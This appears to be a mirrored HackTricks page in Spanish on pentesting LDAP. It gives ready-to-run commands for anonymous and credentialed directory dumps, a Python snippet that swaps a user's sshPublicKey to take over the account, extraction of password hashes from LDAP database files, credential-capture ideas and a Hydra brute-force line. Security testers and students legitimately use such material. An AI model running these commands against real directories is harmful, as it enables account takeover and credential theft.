mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
394 lines
19 KiB
Markdown
394 lines
19 KiB
Markdown
# 389, 636, 3268, 3269 - Pentesting LDAP
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop).
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Información Básica
|
|
|
|
Extraído de: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)
|
|
|
|
LDAP (Lightweight Directory Access Protocol) es un protocolo de software que permite a cualquiera **localizar** organizaciones, individuos y otros **recursos** como archivos y dispositivos en una red, ya sea en Internet público o en una intranet corporativa. LDAP es una versión "ligera" (menor cantidad de código) del Directory Access Protocol (DAP).
|
|
|
|
Un directorio LDAP puede estar **distribuido** entre varios servidores. Cada servidor puede tener una versión **replicada** del directorio completo que se **sincroniza** periódicamente. Un servidor LDAP se llama Agente del Sistema de Directorio (DSA). Un servidor LDAP que recibe una solicitud de un usuario se responsabiliza de la solicitud, pasándola a otros DSAs según sea necesario, pero asegurando una única respuesta coordinada para el usuario.
|
|
|
|
Un directorio LDAP está organizado en una jerarquía simple de "árbol" que consta de los siguientes niveles:
|
|
|
|
* El directorio raíz (el punto de partida o la fuente del árbol), que se ramifica a
|
|
* Países, cada uno de los cuales se ramifica a
|
|
* Organizaciones, que se ramifican a
|
|
* Unidades organizativas (divisiones, departamentos, etc.), que se ramifican a (incluye una entrada para)
|
|
* Individuos (que incluye personas, archivos y recursos compartidos como impresoras)
|
|
|
|
**Puerto predeterminado:** 389 y 636(ldaps). El Catálogo Global (LDAP en ActiveDirectory) está disponible por defecto en los puertos 3268 y 3269 para LDAPS.
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
389/tcp open ldap syn-ack
|
|
636/tcp open tcpwrapped
|
|
```
|
|
### Formato de Intercambio de Datos LDAP
|
|
|
|
LDIF (LDAP Data Interchange Format) define el contenido del directorio como un conjunto de registros. También puede representar solicitudes de actualización (Agregar, Modificar, Eliminar, Renombrar).
|
|
```bash
|
|
dn: dc=local
|
|
dc: local
|
|
objectClass: dcObject
|
|
|
|
dn: dc=moneycorp,dc=local
|
|
dc: moneycorp
|
|
objectClass: dcObject
|
|
objectClass: organization
|
|
|
|
dn ou=it,dc=moneycorp,dc=local
|
|
objectClass: organizationalUnit
|
|
ou: dev
|
|
|
|
dn: ou=marketing,dc=moneycorp,dc=local
|
|
objectClass: organizationalUnit
|
|
Ou: sales
|
|
|
|
dn: cn= ,ou= ,dc=moneycorp,dc=local
|
|
objectClass: personalData
|
|
cn:
|
|
sn:
|
|
gn:
|
|
uid:
|
|
ou:
|
|
mail: pepe@hacktricks.xyz
|
|
phone: 23627387495
|
|
```
|
|
* Las líneas 1-3 definen el dominio de nivel superior local
|
|
* Las líneas 5-8 definen el primer nivel de dominio moneycorp (moneycorp.local)
|
|
* Las líneas 10-16 definen 2 unidades organizativas: dev y ventas
|
|
* Las líneas 18-26 crean un objeto del dominio y asignan atributos con valores
|
|
|
|
## Escribir datos
|
|
|
|
Ten en cuenta que si puedes modificar valores podrías ser capaz de realizar acciones realmente interesantes. Por ejemplo, imagina que **puedes cambiar la información "sshPublicKey"** de tu usuario o de cualquier usuario. Es muy probable que si este atributo existe, entonces **ssh está leyendo las claves públicas desde LDAP**. Si puedes modificar la clave pública de un usuario **podrás iniciar sesión como ese usuario incluso si la autenticación por contraseña no está habilitada en ssh**.
|
|
```bash
|
|
>>> import ldap3
|
|
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
|
|
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
|
|
>>> connection.bind()
|
|
True
|
|
>>> connection.extend.standard.who_am_i()
|
|
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
|
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
|
```
|
|
## Captura de credenciales en texto claro
|
|
|
|
Si LDAP se utiliza sin SSL, puedes **capturar credenciales en texto plano** en la red.
|
|
|
|
Además, puedes realizar un ataque **MITM** en la red **entre el servidor LDAP y el cliente.** Aquí puedes hacer un **Ataque de Degradación** para que el cliente utilice las **credenciales en texto claro** para iniciar sesión.
|
|
|
|
**Si se utiliza SSL** puedes intentar hacer **MITM** como se mencionó anteriormente pero ofreciendo un **certificado falso**, si el **usuario lo acepta**, podrás degradar el método de autenticación y ver las credenciales de nuevo.
|
|
|
|
## Acceso Anónimo
|
|
|
|
### Evitar la verificación de TLS SNI
|
|
|
|
De acuerdo con [**este informe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) solo con acceder al servidor LDAP con un nombre de dominio arbitrario (como company.com), pudo contactar el servicio LDAP y extraer información como usuario anónimo:
|
|
```bash
|
|
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
|
```
|
|
### Vinculaciones LDAP anónimas
|
|
|
|
Las [vinculaciones LDAP anónimas](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permiten a **atacantes no autenticados** recuperar información del dominio, como un listado completo de usuarios, grupos, computadoras, atributos de cuentas de usuario y la política de contraseñas del dominio. Esta es una **configuración heredada**, y a partir de Windows Server 2003, solo se permite a usuarios autenticados iniciar solicitudes LDAP.\
|
|
Sin embargo, los administradores pueden haber necesitado **configurar una aplicación en particular para permitir vinculaciones anónimas** y otorgado más acceso del previsto, proporcionando así a usuarios no autenticados acceso a todos los objetos en AD.
|
|
|
|
## Credenciales Válidas
|
|
|
|
Si tienes credenciales válidas para iniciar sesión en el servidor LDAP, puedes volcar toda la información sobre el Administrador del Dominio utilizando:
|
|
|
|
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
|
```bash
|
|
pip3 install ldapdomaindump
|
|
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
|
|
```
|
|
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)
|
|
|
|
## Enumeración
|
|
|
|
### Automatizada
|
|
|
|
Utilizando esto podrás ver la **información pública** (como el nombre de dominio)**:**
|
|
```bash
|
|
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
|
```
|
|
### Python
|
|
|
|
<details>
|
|
|
|
<summary>Ver la enumeración de LDAP con python</summary>
|
|
|
|
Puedes intentar **enumerar un LDAP con o sin credenciales usando python**: `pip3 install ldap3`
|
|
|
|
Primero intenta **conectarte sin** credenciales:
|
|
```bash
|
|
>>> import ldap3
|
|
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
|
>>> connection = ldap3.Connection(server)
|
|
>>> connection.bind()
|
|
True
|
|
>>> server.info
|
|
```
|
|
Si la respuesta es `True` como en el ejemplo anterior, puedes obtener algunos **datos interesantes** del servidor LDAP (como el **contexto de nomenclatura** o **nombre de dominio**) desde:
|
|
```bash
|
|
>>> server.info
|
|
DSA info (from DSE):
|
|
Supported LDAP versions: 3
|
|
Naming contexts:
|
|
dc=DOMAIN,dc=DOMAIN
|
|
```
|
|
Una vez que tengas el contexto de nomenclatura, puedes realizar consultas más interesantes. Esta consulta simple debería mostrarte todos los objetos en el directorio:
|
|
```bash
|
|
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
|
True
|
|
>> connection.entries
|
|
```
|
|
O **volcar** todo el ldap:
|
|
```bash
|
|
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
|
True
|
|
>>> connection.entries
|
|
```
|
|
</details>
|
|
|
|
### windapsearch
|
|
|
|
[**Windapsearch**](https://github.com/ropnop/windapsearch) \*\*\*\* es un script de Python útil para **enumerar usuarios, grupos y computadoras de un dominio de Windows** utilizando consultas LDAP.
|
|
```bash
|
|
# Get computers
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
|
# Get groups
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
|
|
# Get users
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
|
# Get Domain Admins
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
|
# Get Privileged Users
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
|
|
```
|
|
### ldapsearch
|
|
|
|
Comprueba credenciales nulas o si tus credenciales son válidas:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
|
|
```bash
|
|
# CREDENTIALS NOT VALID RESPONSE
|
|
search: 2
|
|
result: 1 Operations error
|
|
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
|
tion a successful bind must be completed on the connection., data 0, v3839
|
|
```
|
|
Si encuentras algo que diga que el "_bind must be completed_" significa que las credenciales son incorrectas.
|
|
|
|
Puedes extraer **todo de un dominio** utilizando:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
-x Simple Authentication
|
|
-H LDAP Server
|
|
-D My User
|
|
-w My password
|
|
-b Base site, all data from here will be given
|
|
```
|
|
Extraer **usuarios**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
|
```
|
|
Extraer **computers**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Extraer **my info**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Extraer **Domain Admins**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Extraer **Usuarios del Dominio**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Extraer **Enterprise Admins**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Extraer **Administrators**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Extraer **Remote Desktop Group**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Para ver si tienes acceso a alguna contraseña, puedes usar grep después de ejecutar una de las consultas:
|
|
```bash
|
|
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
|
```
|
|
Tenga en cuenta que las contraseñas que puede encontrar aquí podrían no ser las reales...
|
|
|
|
#### pbis
|
|
|
|
Puede descargar **pbis** desde aquí: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) y generalmente se instala en `/opt/pbis`.\
|
|
**Pbis** le permite obtener información básica fácilmente:
|
|
```bash
|
|
#Read keytab file
|
|
./klist -k /etc/krb5.keytab
|
|
|
|
#Get known domains info
|
|
./get-status
|
|
./lsa get-status
|
|
|
|
#Get basic metrics
|
|
./get-metrics
|
|
./lsa get-metrics
|
|
|
|
#Get users
|
|
./enum-users
|
|
./lsa enum-users
|
|
|
|
#Get groups
|
|
./enum-groups
|
|
./lsa enum-groups
|
|
|
|
#Get all kind of objects
|
|
./enum-objects
|
|
./lsa enum-objects
|
|
|
|
#Get groups of a user
|
|
./list-groups-for-user <username>
|
|
./lsa list-groups-for-user <username>
|
|
#Get groups of each user
|
|
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
|
|
|
#Get users of a group
|
|
./enum-members --by-name "domain admins"
|
|
./lsa enum-members --by-name "domain admins"
|
|
#Get users of each group
|
|
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
|
|
|
#Get description of each user
|
|
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
|
echo "$line";
|
|
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
|
|
echo "======================"
|
|
done
|
|
```
|
|
## Interfaz Gráfica
|
|
|
|
### Apache Directory
|
|
|
|
[**Descarga Apache Directory desde aquí**](https://directory.apache.org/studio/download/download-linux.html). Puedes encontrar un [ejemplo de cómo usar esta herramienta aquí](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
|
|
|
|
### jxplorer
|
|
|
|
Puedes descargar una interfaz gráfica con servidor LDAP aquí: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
|
|
|
Por defecto se instala en: _/opt/jxplorer_
|
|
|
|
![](<../.gitbook/assets/image (22) (1).png>)
|
|
|
|
### Godap
|
|
|
|
Puedes acceder en [https://github.com/Macmod/godap](https://github.com/Macmod/godap)
|
|
|
|
## Autenticación vía kerberos
|
|
|
|
Usando `ldapsearch` puedes **autenticarte** contra **kerberos en lugar** de vía **NTLM** utilizando el parámetro `-Y GSSAPI`
|
|
|
|
## POST
|
|
|
|
Si puedes acceder a los archivos donde se contienen las bases de datos (podrían estar en _/var/lib/ldap_). Puedes extraer los hashes utilizando:
|
|
```bash
|
|
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
|
```
|
|
Puede alimentar a john con el hash de la contraseña (desde '{SSHA}' hasta 'structural' sin añadir 'structural').
|
|
|
|
### Archivos de Configuración
|
|
|
|
* General
|
|
* containers.ldif
|
|
* ldap.cfg
|
|
* ldap.conf
|
|
* ldap.xml
|
|
* ldap-config.xml
|
|
* ldap-realm.xml
|
|
* slapd.conf
|
|
* Servidor IBM SecureWay V3
|
|
* V3.sas.oc
|
|
* Servidor Microsoft Active Directory
|
|
* msadClassesAttrs.ldif
|
|
* Servidor Netscape Directory 4
|
|
* nsslapd.sas\_at.conf
|
|
* nsslapd.sas\_oc.conf
|
|
* Servidor de directorio OpenLDAP
|
|
* slapd.sas\_at.conf
|
|
* slapd.sas\_oc.conf
|
|
* Servidor Sun ONE Directory 5.1
|
|
* 75sas.ldif
|
|
|
|
## Comandos Automáticos HackTricks
|
|
```
|
|
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
|
Port_Number: 389,636 #Comma separated if there is more than one.
|
|
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Notes
|
|
Description: Notes for LDAP
|
|
Note: |
|
|
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
|
|
|
|
https://book.hacktricks.xyz/pentesting/pentesting-ldap
|
|
|
|
Entry_2:
|
|
Name: Banner Grab
|
|
Description: Grab LDAP Banner
|
|
Command: nmap -p 389 --script ldap-search -Pn {IP}
|
|
|
|
Entry_3:
|
|
Name: LdapSearch
|
|
Description: Base LdapSearch
|
|
Command: ldapsearch -H ldap://{IP} -x
|
|
|
|
Entry_4:
|
|
Name: LdapSearch Naming Context Dump
|
|
Description: Attempt to get LDAP Naming Context
|
|
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
|
|
|
|
Entry_5:
|
|
Name: LdapSearch Big Dump
|
|
Description: Need Naming Context to do big dump
|
|
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
|
|
|
|
Entry_6:
|
|
Name: Hydra Brute Force
|
|
Description: Need User
|
|
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
|
|
```
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver a tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|